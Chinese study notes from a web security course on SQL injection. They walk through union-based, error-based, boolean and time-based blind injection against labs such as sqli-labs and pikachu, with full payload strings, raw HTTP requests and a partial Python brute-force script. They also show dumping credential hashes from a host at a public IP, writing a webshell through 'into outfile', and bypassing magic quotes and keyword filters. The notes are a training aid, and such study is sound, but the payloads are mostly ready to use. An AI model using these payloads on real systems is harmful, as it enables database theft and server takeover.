2020v6自学笔记web漏洞之sql注入

WEB 漏洞-SQL 注入

在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的

在这里插入图片描述

在这里插入图片描述

#忍者安全测试系统使用说明

#上述思维导图简要说明
#SQL注入安全测试中危害
	1.通过注入对数据库中数据操作
	2.通过注入点拿到网站权限(get_shell)
		- 但是有一定的条件,注入点的权限
-------------------------------------------------------------
#SQL注入安全原理详细分析
#原理:	
 - 通过参数传递,把恶意代码传进sql语句中
 - #sql注入就是通过参数传递将恶意的sql语句传递到原有sql语句中来实现自定义的sql查询,来获取我们需要的数据
 - 构造原有要查询的参数(这个参数进行拼接我们要查询的sql语句)传递到原有的sql查询语句中进行自定义的sql查询
#eg.:
 - $id = $_REQQUEST['id'];
 	- $id 是通过url(xxx.xx.xx/xx?id=x)传参进去的变量
 - $sql = "select * form users where id = $id limit 0,1";
 	- 这是网站要进行的sql查询
 - 这里我们通过构造参数进行自定义查询我们想要的数据
 	- xxx.xx.xx/xx?id=-1 union select  1,emails_id,3 from emails
 	- 其中这是我们构造的参数:-1 union select  1,emails_id,3 from emails
---------------------------------------------------------------------------------
#sql注入前提条件
#可控变量,带入数据库查询,变量未存在过滤不严谨
	eg.:
	  1.sql查询中参数是固定的,不可以改变,那就实现不了sql注入,因此sql
	    注入必须是可控的变量
		- $sql = "select * form users where id =1 limit 0,1";
	   2.sql语句是通过变量来查询的,但不是可控的,也实现不了sql注入,因此sql
	    注入必须是可控的变量
	     - $id =1;
	     - $sql = "select * form users where id = $id limit 0,1";
	    3.拼接上去了但是没有执行,也实现不了注入
	     - $result=mysql_query($sql)	//这个是执行sql查询代码
#产生注入的可能就是:要么未对参数进行过滤,要么就是进行过滤但是不严谨	  (参数就是变量)
---------------------------------------------------------------------------------
#sql查询代码四步
$id = $_REQQUEST['id'];		//通过url传递参数	    eg.	?id=1
$sql = "select * form users where id = $id limit 0,1";	//sql查询语句
$result=mysql_query($sql);		//执行sql查询语句
$row=mysql_fetch_array($result);	//输出sql查询结果
----------------------------------------------------------------------

#搭建第一个SQL注入学习靶场环境
#学习第一个数据库MYSQL简单注入
#如何判断注入点
******************************************************************************
老方法:
and 1=1
and 1=2

select * form users where id =1 limit 0,1

select * form users where id =1 and 1=1 limit 0,1	正常(页面返回正常)
select * form users where id =1 and 1=2 limit 0,1	错误(正常的错误)

select * form users where id =1 limit 0,11=11=2 假

真且真=真
真且假=假


逻辑运算符
或  且   非
or  and  xor

真 且 真 =真
真 且 假 =假
真 或 假 =真

非就是相反
*******************************************************************************
#最舒服的方法:
select * form users where id =1sdfdsgsdfg limit 0,1
在参数后门随便输,如果带入数据库执行那么页面就会不正常,就说明有注入
*******************************************************************************
必要知识点:
数据库	5.0版本以上为高版本

在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名和列名信息。

数据库中.表示下一级,如 xiaodi.user  数据库xiaodi下的user表

information_schema.tables	: 记录数据库所有表名信息的表
information_schema.columns	: 记录数据库所有列名信息的表
table_schema	库名
table_name		表名
column_name		列名

group_concat(table_name) 所有表名
concat(字段1,“+”,字段2,“+”等等)
*******************************************************************************
#MYSQL数据库
#不同数据库注入方法不一样
数据库A=网站A=数据库用户A
	表名	tables
		列名	columns
			数据
数据库B=网站B=数据库用户B
	............
数据库C=网站C=数据库用户C
	............

#判断注入点
http://124.70.22.208:47239/new_list.php?id=1sadfsdfds
#注入参数id

#猜解字段数量	order by 4 (错误与正确的值)
http://124.70.22.208:47239/new_list.php?id=1% order by 4
#到5的时候报错了

#报错猜解准备:
http://124.70.22.208:47239/new_list.php?id=1 union select 1,2,3,4
http://124.70.22.208:47239/new_list.php?id=-1 union select 1,2,3,4
#报错注入找到字段位置

#信息收集:
数据库版本:version()		    5.7.22-0ubuntu0.16.04.1
数据库名:database()			mozhe_Discuz_StormGroup
数据库用户:user()			root@localhost
数据库操作系统:@@version_compile_os	Linux

#数据库	5.0版本以上为高版本

#常规查询
#使用information_schema数据库字典进行查询

#查询指定库名下所有表名
http://124.70.22.208:47239/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

#查询指定表名下下所有字段名
http://124.70.22.208:47239/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

#查询数据		limit x,1	x变动查询	从0开始
http://124.70.22.208:47239/new_list.php?id=-1 union select 1,2,concat(id,"-",name,"-",password,"-",status),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

1-mozhe-356f589a7df439f6f744ff19bb8092c0-0		//0数据库中状态为假

http://124.70.22.208:47239/new_list.php?id=-1 union select 1,2,concat(id,"-",name,"-",password,"-",status),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

1-mozhe-8444325ca7c84d8f4117d8b1020c834e-1		//1数据库中状态为真
案例演示
#简易代码分析 SQL 注入原理
 #原理演示:
  eg.:
   - $id = $_REQQUEST['id'];
 	- $id 是通过url(xxx.xx.xx/xx?id=x)传参进去的变量
   - $sql = "select * form users where id = $id limit 0,1";
 	- 这是网站要进行的sql查询
   - 这里我们通过构造参数进行自定义查询我们想要的数据
 	- xxx.xx.xx/xx?id=-1 union select  1,emails_id,3 from emails
 	- 其中这是我们构造的参数:-1 union select  1,emails_id,3 from emails
 #判断可能存在注入的url
 	xiaodi8.com/index.php?id=8		有参数可能存在
 	xiaodi8.com/?id=9	可能存在,没有index.php,是因为网站默认的就是index.php,所以写不写都一样
 	xiaodi8.com/?id=1&x=2	可能存在	多了个参数,哪个存在在哪个后门构造
 	xiaodi8.com/index.php	可能存在	有可能是post注入	通过请求体传参
 #参数x有注入,以下那个注入测试正确
 a www.xiaodi8.com/news.com?y=1 and 1=1&x=2		x有注入,因测试测试x
 b www.xiaodi8.com/news.com?y=1 and 1=1&x=2 and 1=1		正确
 c www.xiaodi8.com/news.com?y=1 and 1=1&x=2 and 1=1	 两个都测试也没问题
 d www.xiaodi8.com/news.com?xx=1 and 1=1&xx=2 and 1=1	参数名都不对
 #因此注意在使用工具时因指定好注入点
 eg.
 	sqlmap www.xiaodi8.com/news.com?x=1*&y=2	加*指定注入点位置
 	www.xiaodi8.com/news.com?y=1&x=2			换个位置
 --------------------------------------------------------------------------
#Sqlilabs 注入靶场搭建简要使用
#墨者靶机真实 MYSQL 注入演示
涉及资源

​https://github.com/Audi-1/sqli-labs

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe


WEB 漏洞-MYSQL 注入

MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者!

在这里插入图片描述
在这里插入图片描述

高权限注入及低权限注入
#跨库查询及应用思路
	当发现某个网站下有多个站点,并且还在同一服务器上,就说明网站在同一个数据库内,如果其中一个站点有sql注入漏洞,并且用户为root时,就可以跨库查询其他站点,收集更多数据
#当数据库用户为root高权限用户时可以跨库查询
information_schema 表特性,记录库名,表名,列名对应表
information_schema.schemata	: 记录所有库名信息的表
-----------------------------------------------------------
获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3%20from
information_schema.schemata
获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'
获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where
table_name='admin' and table_schema='qqyw'
获取指定 qqyw 下的 admin 数据
#跨库注入需要指定库名
union select 1,u,p from qqyw.admin
-----------------------------------------------------------
#文件读写操作
load_file():读取函数
into outfile 或 into dumpfile :导出函数(写入文件)
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8
#使用函数读写时文件路径要使用\\双斜杠防止转义
 union select 1,load_file('d:\\phpstudy\\xxx\\xx.txt'),3
#文件写入等于文件上传,直接写入后门
 union select 1,'一句话木马',3 into outfile 'd:\\phpstudy\\xx\\x.php'
 #如果没有写入,是因为sql语句干扰了 如: 后面有limit 0,1,直接注释掉
  union select 1,'一句话木马',3 into outfile 'd:\\phpstudy\\xx\\x.php'--+
 # --+  : 注释
 ------------------------------------------------------------------------
#常见读取文件列表:
常见写入文件问题:魔术引号开关
#addslashes与magic一样的功能
#magic_quotes_gpc:	
	#当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 	字符)等字符,都会被加上反斜线。这些转义是必须的。
#绕过方式:
	将文件路径使用16进制编码(hex),在mysql数据库中hex能够解析
----------------------------------------------------------------------------
#魔术引号及常见防护
magic_quotes_gpc()		//魔术引号		过滤特殊字符		绕过hex编码
#通过内置函数对参数进行过滤
addslashes()			//过滤特殊字符		绕过hex编码
is_int		//判断函数等等 如:int_array等等		判断参数是否为整数类型
#eg.	点对点针对
if(is_int($id)){
	$sql = "select * form users where id = $id limit 0,1";	//sql查询语句
	echo $sql;
	$result=mysql_query($sql);	//执行sql查询语句
}else{
	echo '违法字符!!!'
}
---------------------------------------------------------
#自定义关键字过滤	select	union
$id = str_replace('关键字','过滤为什么','$id');	 
#绕过自定义关键字过滤需要看程序员开发时代码的严谨性,如:
$id = str_replace('select','null','$id');
绕过:将select改成大写	Select	SELECT等等	
#绕过可能根据实际情况,根据考虑的方面	大小写,编码,字符等等
防范:正则表达式
-----------------------------------------------------------
#waf应用防火墙(安全狗等等)
同样是利用自定义关键字匹配进行过滤
eg.
安全狗		有个绕过方法		更换提交方法
-----------------------------------------------------------------------------
#低版本注入配合读取或暴力
字典或读取
演示案例
普通用户及 root 用户操作权限
高权限注入跨库查询操作测试
高权限注入文件读写操作测试
魔术引号开启后相关操作测试
相关自定义代码过滤操作测试
涉及资源

(93条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客


WEB 漏洞-数据类型及提交注入

在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。

在这里插入图片描述

#简要明确参数类型
数字,字符,搜索,JSON 等
#在数字上加单引号也是可以的,这要看对方sql语句写法
#根据网站自身的参数后面值的类型,注入时来判断是否存在符号的问题
#如果存在符号问题,我们将注入语句带入时,会带到符号里,成为一串字符,起不了任何作用。因此我们要先闭合符号,在进行测试,如:
	原有sql语句:
	$name=$_GET['x'];
	$sql="select * from user where name='$id'";
	如果直接带入,就会是一串字符:
	$name=$_GET['x'];
	$sql="select * from user where name='$id and 1=1'";
	闭合符号:
	$name=$_GET['x'];
	$sql="select * from user where name='$id' and 1=1--+'";
#字符型一定有符号,一般是单引号,注入的前提是先要把符号闭合掉
#其中 SQL 语句干扰符号:',",%,),}等,具体需看写法
怎么判断符合,尝试去猜解,可能性不多,就那几种		如:'")
或者使用工具枚举
#网站搜索对应数据库语句
?x=xiaodii
select * from user where name like '%xiaodi%'
#因此在注入时要过滤单引号和百分号,不然语句都会在单引号和百分号里面,sql语句起不了用
-------------------------------------------------------------------------------------------
#简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP 头等
#不同请求方法,大小写法等等都不一样
#明确请求方法的目的是:如果不按照目标的请求方法进行注入,数据包可能提交不上去,对方不接受,不接受注入语句就无法带入数据库种执行,那么注入攻击就无法攻击成功
#对方以什么请求方法,就用什么请求方法。一般更改请求方法是为了绕过安全防护软件,也可以黑盒测试判断对方有几种请求方式
get方法:地址url传参
post方法:请求体传参
cookie方法:Cookie: x=111
request方法:全部接受	以上都可以传参
http头部注入:
	server:用来获取接受客户端信息
	#如果将浏览器客户端信息更改为注入语句,如果存在注入漏洞,接受了数据并且带入了数据库中执行
	#注入原理就是:接受数据,带入数据库,执行
-----------------------------------------------------------------------------------------
#闭合方法
常规:' " 等等
#注释方法
	#或者--+
#注意#号和--+号在注释时有的能用,与对方数据库有关,办法两种都尝试

在这里插入图片描述

演示案例
#参数字符型注入测试=>sqlilabs less 5 6
select * from user where name='$id' and 1=1--+'
#闭合方法
常规:' " 等等
#注释方法
	#或者--+
#注意#号和--+号在注释时有的能用,与对方数据库有关,办法两种都尝试
-------------------------------------------------------------------
#POST 数据提交注入测试=>sqlilabs less 11
在请求体中对参数进行注入
POST /Less-11/ HTTP/1.1
Host: 127.0.0.1:802
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.2; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729; .NET4.0E)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Referer: http://127.0.0.1:802/Less-11/
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close

uname=adsfsd' union select user(),database()#&passwd=asdsad&submit=Submit
-------------------------------------------------------------------
#参数 JSON 数据注入测试=>本地环境代码演示
按照json数据格式进行注入
json数据格式
如果是数字不用闭合,但是字符必须闭合
SELECT * FROM users WHERE username='{$username}'
json
{
	"user": "xiaodi"
	"pass": "xiaodi"
}
json{"user":"xiaodi' and 1=2#","pass":"xiaodi"}
----------------------------------------------------------------------
#COOKIE 数据提交注入测试=>sqlilabs less 20
一般过滤方法,魔法引号 magic 使用hex编码尝试绕过
注意当post注入明显被过滤的情况下,使用cookie注入
注意重新抓包	使用最初get请求方法,使用post请求方法提交函数会进行过滤
添加:cookie:admin' and 1=2#'
GET /Less-20/ HTTP/1.1
Host: 127.0.0.1:802
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.2; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729; .NET4.0E)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
#Cookie:uname=xiaodi' union select version(),user(),database()#&passwd=asdas&submit=Submit
Connection: close
--------------------------------------------------------------------------
#HTTP 头部参数数据注入测试=>sqlilabs less 18
页面中出现当前IP
说明服务器通过客户端的	$_SERVER方法获取并接受了客户端信息
sql注入原理:接受,带入,执行
这里涉及到不同查询方式注入	insert注入
-------------------------------------------------------
#IP获取方式
1.通过脚本获取的情况,是可以伪造的
2.通过运营商提供的,需要通过代理更换		x-forwared-for:ip
X-Forwarded-For:记录代理服务器的地址,每经过一个代理,该字段会加上一个记录。格式形如:1.1.1.1, 2.2.2.2
X-Real-IP:也是用来记录服务器的地址,但是和上面的不同,它不把记录添加到结尾,而是直接替换
remote_addr:上一个客户端连接的地址,不存在代理就表示客户端的地址,存在代理就表示最后一个代理服务器的地址
演示资源
#配合 sqlilabs 本地数据库演示
<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON 文档格式有误,请检查');
}
$username=$json->username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT * FROM users WHERE username='{$username}'";
echo $sql;
$result=$mysqli->query($sql);
if(!$result){
die('执行 SQL 语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
$result->free();
$mysqli->close();
}
?>

WEB 漏洞-Oracle,MongoDB 等注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#Access,mysql,mssql,mongoDB,postgresql,oracle,sybase等等
除了Access数据库以外,其他数据库都是大同小异的

access
	表名
		列名
			数据
access数据库多用于asp脚本进行搭建,access数据库一般都会保存在网站源码(网站根目录)下面,并且不同网站数据库互不相干,没有任何关系
	
mysql,mssql等
	数据库名A
		表名
			列名
				数据
	数据库B
    	..............
#简要学习各种数据库的注入特点
access并没有文件读写操作
不同数据库特点也不同,注入方式也不同
#数据库架构组成,数据库高清晰操作
数据库文件写入问题:
	1.防护软件
	2.要写入的目录没有写入与执行权限
	3.写入函数被禁用或者设置了什么策略
------------------------------------------------------------------------------------
#简要学习各种注入工具的使用指南
#判断数据库类型:
	1.通过网站脚本判断	.asp access		.php mysql	等等
	2.通过工具sqlmap扫描		但是可能不准
#熟悉工具支持的库,注入模式,优缺点
Sqlmap,NoSQLAttack,pangolin等等
演示案例
#墨者靶场_sql-access
	#access数据库,非常规性数据库,没有information_schema数据库字典,需要靠猜解
	#access数据库,只有表名,列名,字段名
	#可以先进行猜解,猜不出来就使用工具进行枚举爆破
#问题:
	Access注入时,如果表名,字段名猜不到的情况怎么办?
	Access 偏移注入:解决列名获取不到的情况
	https://blog.csdn.net/u014029795/article/details/91150847
	https://www.jianshu.com/p/d10785d22db2
	查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况
-------------------------------------------------------
#墨者靶场_sql-MSSQL
工具:
	pangolin - amazing sql(穿山甲)
手工:
	https://www.cnblogs.com/xishaonian/p/6173644.html
#墨者靶场_sql-postgreSql
工具:
	sqlmap	
	
手工:
	https://www.cnblogs.com/she11s/p/12326629.html
#墨者靶场_sql-oracle
工具:
	穿山甲
手工:
	https://www.cnblogs.com/peterpan0707007/p/8242119.html
#墨者靶场_sql-mongoDB
出现范围:ctf等等比赛
喜欢与python脚本搭配
语法上区别:
	使用列表形式
		{
			"x":"1"
		}
	select * from user where name=({"x":"1"})
工具:
	NoSQLAttack支持
手工:
	文档
#墨者靶场_sql-sybase
工具
	sqlmap等等
演示资源

https://www.cnblogs.com/bmjoker/p/9326258.html

https://github.com/youngyangyang04/NoSQLAttack

https://github.com/sqlmapproject/sqlmap/zipball/master

https://blog.csdn.net/qq_39936434/category_9103379.html

https://www.mozhe.cn


WEB 漏洞-查询方式及报错盲注

当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL 语句大概写法也能更好的选择对应的注入语句。

在这里插入图片描述

涉及知识点:

#无回显情况 - 无回显情况会根据sql语句查询方式从而决定
或者是对方网站代码中并没有打印数据 - 没有这行代码:$row=mysql_fetch_array($result); //打印结果
如insert插入数据库查询方式,在数据库中并没有回显数据,只有执行的成功与否
无回显情况需要借助盲注手段进行注入判断 - 不论对应查询方式是什么样的,闭合符号是关键,保证sql语句正常执行

#数据库查询方式 - 不同的查询方式注入的方式也不一样
select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
但是对方网站后端代码并不打印查询数据,导致数据无回显,这时候就需要使用盲注方式进行注入!

#insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')
注意 insert注入时,可以利用or或and连接所要插入的数据,从而构造sql注入语句,例如:
$t是通过参数进行传递的数据,这时候我们可以进行利用or或and构造语句
str=123' or 1=1 or'123' and 1=1 and '
$t=$_POST['str']
insert into news(id,url,text) values(2,'x','$t')
也就是利用or封闭单引号:123' or 1=1 or '123' and 1=1 and '
insert into news(id,url,text) values(2,'x','123' or 1=1 or '')

#delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
同理利用or或and连接,例如:根据实际情况判断字符型还是数字型
id=123 and extractvalue(1,contact(0x7e,version()))			//后面如果还有字段,使用and连接即可

#update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
同理利用or或and连接,例如:根据实际情况判断字符型还是数字型
username=admin' and extractvalue(1,concat(0x7e,version()))   //后面如果还有字段,使用and连接即可

#order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

#重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式

#盲注概念
盲注就是在网站数据无法回显时,进行判断是否是盲注情况,再分析是普通的盲注(布尔盲注)还是延时型盲注(时间盲注),然后进行猜解判断(数据库名,表名,字段名)字符,使用函数(例如substr)进行提取字符进行猜解判断是否对应的上,依次猜解出我们需要的数据信息(数据库名,表名,字段名)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

#这三类我们又该选用哪一类?其实这是根本网站情况来决定的,我们是优先选用报错回显这个是最简单的,不行再选用逻辑判断,最后再会选用延时判断,因为这三种判断的话,效率来讲的话报错回显最快的,逻辑判断比较复杂一点,延时判断是最慢的它根据一个网站回显时间延迟的时分来判断的,所以推荐优先使用报错回显

#基于报错的 SQL 盲注-报错回显
推荐文章:https://www.jianshu.com/p/bc35f8dd4f7c	//十二种报错方法
报错方式:floor,updatexml,extractvalue等等
floor报错回显payload: payload视网站情况进行更改!
' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
updatexml报错回显payload:
' or updatexml(1,concat(0x7e,version(),0x7e),0) or '
extractvalue报错回显payload:
' or extractvalue(1,concat(0x7e,database())) or '

#基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
常规使用substr提取字符进行判断
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
eg.:127.0.0.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='t' --+
	判断数据库名的第一个字符是否是t
	#正常与错误概念:就是与原本页面是否一致为正常(数据返回是否正常)
	页面返回错误不是	
	页面返回正常是

#基于时间的 SQL 盲注-延时判断 - 延时判断会受到网站响应速度影响
if(条件,A,B)
if判断函数,条件为真返回A,条件为假返回B
sleep()/延迟函数
两者结合,形成延时判断,例如:
select * from member where id=1 and sleep(if(database()='a',1,0))
返回 0.00sec  为假
select * from member where id=1 and sleep(if(database()='pikachu',5,0))
返回 5.00sec	为真
payload:
//先进行判断当前数据库名是否大于5个字符,如果为真,就返回给sleep(5),否则sleep(0)
?id=1" and sleep(if(datebase()>5,5,0))--+
//这里执行失败的话将睡十秒,能更快的判断,当然也可以将sleep()函数,放在执行成功的位置
?id=1" and if(length(database())>5,1,sleep(10))--+

#参考:
ascii函数常于substr连用:以防网站转义等等情况
asscii对应相对应的ASCII表
eg.:and ascii(substr(database(),2,1))=97
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97
演示案列
#各种查询方式注入测试(报错盲注)
通过pikachu测试各种查询方式注入:
insert注入 - 报错回显
报错方式:floor
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=sub
mit

报错方式:updatexml
username=x' or updatexml(1,concat(0x7e,version(),0x7e),0) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit

报错方式:extractvalue
username=x' or extractvalue(1,concat(0x7e,database())) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit

update注入 - 报错回显
报错方式:floor
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submit

报错方式:updatexml
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or 
updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

报错方式:extractvalue
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or
'&email=wuhan&submit=submit

delete注入 - 报错回显 - 数据包中get传参时+就是空格的意思
报错方式:floor
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(da
tabase()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

报错方式:updatexml
pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

报错方式:extractvalue
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

#sqlilabs-less5 注入测试(布尔盲注)
 - 普通盲注的原理就是页面依据SQL语句的真假返回不同的页面或信息,我们只需要让SQL服务器去判断查询语句的真假就可以爆出数据库的数据。
 - 首先要明白逻辑判断,然后在盲注中尽量使用and,不要使用or
布尔盲注
手工注
-------------------------------------------------------------------
1.判断注入点
and -1=-1  页面返回有数据
and -1=-2  页面无结果返回
==》存在SQL注入。
2. 判断当前页面字段总数
and -1=-1 order by 2 页面返回有数据
and -1=-2 order by 3 页面无结果返回
==》当前页面字段数为:2。
3.判断显示位 
and -1=-2 union select 1,2 页面无结果返回
==》无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。
4.猜解当前数据库名称长度
and (length(database()))>11页面返回有数据
and (length(database()))>12页面无结果返回
==》当前数据库名称长度为:12。
5.用ASCII码猜解当前数据库名称
and ascii(substr(database(),1,1))=107 页面返回有数据
and ascii(substr(database(),2,1))=97 页面返回有数据
==》当前数据库 第一个字母是k,第二个字母是a...以此类推得到数据库库名是kanwolonxia。
注:判断ascii码范围不止是 ”=" 哦,还应该恰当使用 “>”,“<” 等符号。
6.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108  页面返回有数据
==》表名的 第一个字母是 l ...然后以此类推得到 表名 loflag。
7.猜字段名 
and (ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1)))=102   页面返回有数据
==》字段名的第一个字母是 f...类推得到字段名 flaglo。
8.猜内容 
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122  页面返回有数据
==》得到数据的第一个字母是 z...类推得到 数据zKaQ-QQQ
------------------------------------------------------------------------------------------
#sqlilabs-less2 注入测试(延时盲注)
延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()
1.判断注入点 - 发现页面无数据回显
?id=1" and -1=-1--+
?id=1" and -1=-2--+
2.使用延时判断
?id=1" and sleep(5)--+    页面延时了
3.猜解当前数据库名称长度
?id=1" and sleep(if(length(datebase())=12),5,0)--+
?id=1" and if((length(database()))=12,sleep(5),1)--+
可以利用burp爆破当前数据名长度,将长度值设为变量
==》当前数据库名称长度为 12
4.用ASCII码猜解当前数据库名称 - 以下函数都可以截取字符
ascii函数常于substr连用:以防网站转义等等情况 - asscii对应相对应的ASCII表
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
//利用substr函数截取数据库名第一个字符
?id=1" and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+
//利用mid截取字符
?id=1" and sleep(if(ascii(mid(databse(),1,1)=107),5,0))--+
可以利用burp爆破当前数据名
5.猜表名
?id=1" and sleep(if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=107),5,0))--+
	或
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
可以利用burp爆破第一个表名
6.猜字段名 
?id=1" and sleep(if(ascii(mid((select columns_name from information_schema.columns where table_name=表名 limit 0,1),1,1)=107),5,0))--+
	或
?id=1" and if(ascii(substr((select columns_name from information_schema.columns where table_name=表名 limit 0,1),1,1))=101,sleep(3),0)--+
7.猜内容 
?id=1" and sleep(if(ascii(mid((select 字段名 from 表名),1,1)=107),5,0))--+
	或
?id=1" and if(ascii(substr((select 字段名 from 表名),1,1))=101,sleep(3),0)--+

#sqlilabs-less46 注入测试(排序盲注)
涉及资源

sqlilabs过关手册注入天书.pdf

报错盲注

https://www.jianshu.com/p/bc35f8dd4f7c

排序盲注

https://www.jianshu.com/p/fcae21926e5c

盲注详解

(97条消息) SQL注入之盲注_沫忆末忆的博客-CSDN博客_sql注入盲注的原理

SQL注入之盲注 - FreeBuf网络安全行业门户

#盲注猜解脚本
import requests
s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
        url="http://192.168.31.140/sqli-labs/Less-8/?id=1' and substr(database(),{},1)='{}'--+".format(i,j)
